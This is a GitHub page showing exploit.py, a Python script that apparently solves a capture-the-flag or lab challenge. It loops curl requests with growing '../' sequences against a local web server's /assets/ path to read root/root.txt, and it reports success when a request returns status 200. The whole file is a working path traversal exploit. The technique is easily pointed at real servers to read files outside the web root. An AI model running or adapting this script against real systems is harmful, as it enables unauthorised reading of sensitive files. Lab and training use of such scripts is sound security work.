-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
57 lines (42 loc) · 1.29 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
import subprocess
import signal
from colorama import Fore, Style, init
# Initialize colorama
init(autoreset=True)
# Ctrl+C
def handle_exit_signal(sig, frame):
print(f"{Fore.RED}[!] Interrupted by user.")
exit(0)
signal.signal(signal.SIGINT, handle_exit_signal)
# Number of requests
request = 5
# Start
print(f"{Fore.CYAN}{Style.BRIGHT}Sending payloads...")
# Loop
for i in range(1, request + 1):
payload = "../" * i
url = "http://localhost:8081/assets/"
file = "root/root.txt" # Flag root/root.txt
final_payload = url + payload + file
command = [
"curl",
"--path-as-is",
"-i",
final_payload
]
# progress
print(f"{Fore.YELLOW}Round {i}: {final_payload}")
try:
output = subprocess.run(command, capture_output=True, text=True, check=True)
response_headers = output.stdout.split("\r\n")
# Extract status code
status_line = response_headers[0]
status_code = status_line.split(" ")[1]
# 200?
if status_code == "200":
print(f"{Fore.GREEN}{Style.BRIGHT}[+] Success! File found.")
print(f"{Fore.GREEN}{output.stdout}")
break
except subprocess.CalledProcessError as e:
print(f"{Fore.RED}[!] Error: {e}")